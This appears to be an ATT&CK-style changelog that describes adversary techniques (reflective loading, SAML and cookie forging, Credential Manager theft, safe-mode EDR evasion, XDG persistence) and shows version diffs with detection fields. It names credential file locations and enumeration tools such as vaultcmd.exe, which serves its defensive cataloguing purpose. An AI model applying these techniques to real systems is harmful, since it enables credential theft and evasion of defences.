Description: Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
Current version: 1.0
Description: Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)
Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)
Current version: 1.2
Description: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
Current version: 1.0
Description: Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019) Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021) Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)
Current version: 1.1
Description: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)
Current version: 1.0
Description: Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)
There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)
For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)
On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.
Current version: 1.0
Description:
Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)
Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
Current version: 1.1
Description: Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.
Current version: 1.1
Description: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
Current version: 1.1
Description: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)
Current version: 1.0
Description: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.
Credential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)
Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
Current version: 1.0
Description: Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)
Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)
Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to position themselves between two o | t | 1 | Adversaries may attempt to position themselves between two o |
| > | r more networked devices using a man-in-the-middle (MiTM) te | > | r more networked devices using an adversary-in-the-middle (A | ||
| > | chnique to support follow-on behaviors such as [Network Snif | > | iTM) technique to support follow-on behaviors such as [Netwo | ||
| > | fing](https://attack.mitre.org/techniques/T1040) or [Transmi | > | rk Sniffing](https://attack.mitre.org/techniques/T1040) or [ | ||
| > | tted Data Manipulation](https://attack.mitre.org/techniques/ | > | Transmitted Data Manipulation](https://attack.mitre.org/tech | ||
| > | T1565/002). By abusing features of common networking protoco | > | niques/T1565/002). By abusing features of common networking | ||
| > | ls that can determine the flow of network traffic (e.g. ARP, | > | protocols that can determine the flow of network traffic (e. | ||
| > | DNS, LLMNR, etc.), adversaries may force a device to commun | > | g. ARP, DNS, LLMNR, etc.), adversaries may force a device to | ||
| > | icate through an adversary controlled system so they can col | > | communicate through an adversary controlled system so they | ||
| > | lect information or perform additional actions.(Citation: Ra | > | can collect information or perform additional actions.(Citat | ||
| > | pid7 MiTM Basics) Adversaries may leverage the MiTM positio | > | ion: Rapid7 MiTM Basics) Adversaries may leverage the AiTM | ||
| > | n to attempt to modify traffic, such as in [Transmitted Data | > | position to attempt to modify traffic, such as in [Transmitt | ||
| > | Manipulation](https://attack.mitre.org/techniques/T1565/002 | > | ed Data Manipulation](https://attack.mitre.org/techniques/T1 | ||
| > | ). Adversaries can also stop traffic from flowing to the app | > | 565/002). Adversaries can also stop traffic from flowing to | ||
| > | ropriate destination, causing denial of service. | > | the appropriate destination, causing denial of service. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 15:19:48.733000+00:00 | 2021-09-28 13:09:51.467000+00:00 |
| name | Man-in-the-Middle | Adversary-in-the-Middle |
| description | Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service. | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service. |
| x_mitre_data_sources[0] | File monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Packet capture | Service: Service Creation |
| x_mitre_detection | Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. | Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can take advantage of security vulnerabilities a | t | 1 | Adversaries may take advantage of security vulnerabilities a |
| > | nd inherent functionality in browser software to change cont | > | nd inherent functionality in browser software to change cont | ||
| > | ent, modify behavior, and intercept information as part of v | > | ent, modify user-behaviors, and intercept information as par | ||
| > | arious man in the browser techniques. (Citation: Wikipedia M | > | t of various browser session hijacking techniques.(Citation: | ||
| > | an in the Browser) A specific example is when an adversary | > | Wikipedia Man in the Browser) A specific example is when a | ||
| > | injects software into a browser that allows an them to inher | > | n adversary injects software into a browser that allows them | ||
| > | it cookies, HTTP sessions, and SSL client certificates of a | > | to inherit cookies, HTTP sessions, and SSL client certifica | ||
| > | user and use the browser as a way to pivot into an authentic | > | tes of a user then use the browser as a way to pivot into an | ||
| > | ated intranet. (Citation: Cobalt Strike Browser Pivot) (Cita | > | authenticated intranet.(Citation: Cobalt Strike Browser Piv | ||
| > | tion: ICEBRG Chrome Extensions) Browser pivoting requires t | > | ot)(Citation: ICEBRG Chrome Extensions) Executing browser-ba | ||
| > | he SeDebugPrivilege and a high-integrity process to execute. | > | sed behaviors such as pivoting may require specific process | ||
| > | Browser traffic is pivoted from the adversary's browser thr | > | permissions, such as <code>SeDebugPrivilege</code> and/or hi | ||
| > | ough the user's browser by setting up an HTTP proxy which wi | > | gh-integrity/administrator rights. Another example involves | ||
| > | ll redirect any HTTP and HTTPS traffic. This does not alter | > | pivoting browser traffic from the adversary's browser throu | ||
| > | the user's traffic in any way. The proxy connection is sever | > | gh the user's browser by setting up a proxy which will redir | ||
| > | ed as soon as the browser is closed. Whichever browser proce | > | ect web traffic. This does not alter the user's traffic in a | ||
| > | ss the proxy is injected into, the adversary assumes the sec | > | ny way, and the proxy connection can be severed as soon as t | ||
| > | urity context of that process. Browsers typically create a n | > | he browser is closed. The adversary assumes the security con | ||
| > | ew process for each tab that is opened and permissions and c | > | text of whichever browser process the proxy is injected into | ||
| > | ertificates are separated accordingly. With these permission | > | . Browsers typically create a new process for each tab that | ||
| > | s, an adversary could browse to any resource on an intranet | > | is opened and permissions and certificates are separated acc | ||
| > | that is accessible through the browser and which the browser | > | ordingly. With these permissions, an adversary could potenti | ||
| > | has sufficient permissions, such as Sharepoint or webmail. | > | ally browse to any resource on an intranet, such as [Sharepo | ||
| > | Browser pivoting also eliminates the security provided by 2- | > | int](https://attack.mitre.org/techniques/T1213/002) or webma | ||
| > | factor authentication. (Citation: cobaltstrike manual) | > | il, that is accessible through the browser and which the bro | ||
| > | wser has sufficient permissions. Browser pivoting may also b | ||||
| > | ypass security provided by 2-factor authentication.(Citation | ||||
| > | : cobaltstrike manual) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:39:44.590000+00:00 | 2021-10-18 12:11:16.808000+00:00 |
| name | Man in the Browser | Browser Session Hijacking |
| description | Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser) A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions) Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual) | Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)
A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.
Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual) |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Modification |
| x_mitre_data_sources[1] | Packet capture | Process: Process Access |
| x_mitre_data_sources[2] | Process monitoring | Logon Session: Logon Session Creation |
| x_mitre_detection | This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications | This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by side |
| > | cking the library manifest used to load DLLs. Adversaries ma | > | -loading DLLs. Similar to [DLL Search Order Hijacking](https | ||
| > | y take advantage of vague references in the library manifest | > | ://attack.mitre.org/techniques/T1574/001), side-loading invo | ||
| > | of a program by replacing a legitimate library with a malic | > | lves hijacking which DLL a program loads. But rather than ju | ||
| > | ious one, causing the operating system to load their malicio | > | st planting the DLL within the search order of a program the | ||
| > | us library when it is called for by the victim program. Pro | > | n waiting for the victim application to be invoked, adversar | ||
| > | grams may specify DLLs that are loaded at runtime. Programs | > | ies may directly side-load their payloads by planting then i | ||
| > | that improperly or vaguely specify a required DLL may be ope | > | nvoking a legitimate application that executes their payload | ||
| > | n to a vulnerability in which an unintended DLL is loaded. S | > | (s). Side-loading takes advantage of the DLL search order u | ||
| > | ide-loading vulnerabilities specifically occur when Windows | > | sed by the loader by positioning both the victim application | ||
| > | Side-by-Side (WinSxS) manifests (Citation: About Side by Sid | > | and malicious payload(s) alongside each other. Adversaries | ||
| > | e Assemblies) are not explicit enough about characteristics | > | likely use side-loading as a means of masking actions they p | ||
| > | of the DLL to be loaded. Adversaries may take advantage of a | > | erform under a legitimate, trusted, and potentially elevated | ||
| > | legitimate program that is vulnerable by replacing the legi | > | system or software process. Benign executables used to side | ||
| > | timate DLL with a malicious one. (Citation: FireEye DLL Sid | > | -load payloads may not be flagged during delivery and/or exe | ||
| > | e-Loading) Adversaries likely use this technique as a means | > | cution. Adversary payloads may also be encrypted/packed or o | ||
| > | of masking actions they perform under a legitimate, trusted | > | therwise obfuscated until loaded into the memory of the trus | ||
| > | system or software process. | > | ted process.(Citation: FireEye DLL Side-Loading) | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:15:27.807000+00:00 | 2021-04-26 18:31:34.954000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program. Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: About Side by Side Assemblies) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable by replacing the legitimate DLL with a malicious one. (Citation: FireEye DLL Side-Loading) Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process. | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) |
| external_references[2]['source_name'] | About Side by Side Assemblies | FireEye DLL Side-Loading |
| external_references[2]['description'] | Microsoft. (2018, May 31). About Side-by-Side Assemblies. Retrieved March 13, 2020. | Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/windows/win32/sbscs/about-side-by-side-assemblies- | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf |
| x_mitre_data_sources[0] | Loaded DLLs | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process use of network | Module: Module Load |
| x_mitre_detection | Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. | Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye DLL Side-Loading', 'description': 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-26 14:16:48.125000+00:00 | 2021-04-20 20:10:26.613000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | DLL monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| x_mitre_data_sources | File: File Modification |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify Group Policy Objects (GPOs) to subver | t | 1 | Adversaries may modify the configuration settings of a domai |
| > | t the intended discretionary access controls for a domain, u | > | n to evade defenses and/or escalate privileges in domain env | ||
| > | sually with the intention of escalating privileges on the do | > | ironments. Domains provide a centralized means of managing h | ||
| > | main. Group policy allows for centralized management of user | > | ow computer resources (ex: computers, user accounts) can act | ||
| > | and computer settings in Active Directory (AD). GPOs are co | > | , and interact with each other, on a network. The policy of | ||
| > | ntainers for group policy settings made up of files stored w | > | the domain also includes configuration settings that may app | ||
| > | ithin a predicable network path <code>\\<DOMAIN>\SYSVO | > | ly between domains in a multi-domain/forest environment. Mod | ||
| > | L\<DOMAIN>\Policies\</code>.(Citation: TechNet Group P | > | ifications to domain settings may include altering domain Gr | ||
| > | olicy Basics)(Citation: ADSecurity GPO Persistence 2016) L | > | oup Policy Objects (GPOs) or changing trust settings for dom | ||
| > | ike other objects in AD, GPOs have access controls associate | > | ains, including federation trusts. With sufficient permissi | ||
| > | d with them. By default all user accounts in the domain have | > | ons, adversaries can modify domain policy settings. Since do | ||
| > | permission to read GPOs. It is possible to delegate GPO acc | > | main configuration settings control many of the interactions | ||
| > | ess control permissions, e.g. write access, to specific user | > | within the Active Directory (AD) environment, there are a g | ||
| > | s or groups in the domain. Malicious GPO modifications can | > | reat number of potential attacks that can stem from this abu | ||
| > | be used to implement many other malicious behaviors such as | > | se. Examples of such abuse include modifying GPOs to push a | ||
| > | [Scheduled Task/Job](https://attack.mitre.org/techniques/T10 | > | malicious [Scheduled Task](https://attack.mitre.org/techniqu | ||
| > | 53), [Disable or Modify Tools](https://attack.mitre.org/tech | > | es/T1053/005) to computers throughout the domain environment | ||
| > | niques/T1562/001), [Ingress Tool Transfer](https://attack.mi | > | (Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 | ||
| > | tre.org/techniques/T1105), [Create Account](https://attack.m | > | Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or | ||
| > | itre.org/techniques/T1136), [Service Execution](https://atta | > | modifying domain trusts to include an adversary controlled | ||
| > | ck.mitre.org/techniques/T1035), and more.(Citation: ADSecur | > | domain where they can control access tokens that will subseq | ||
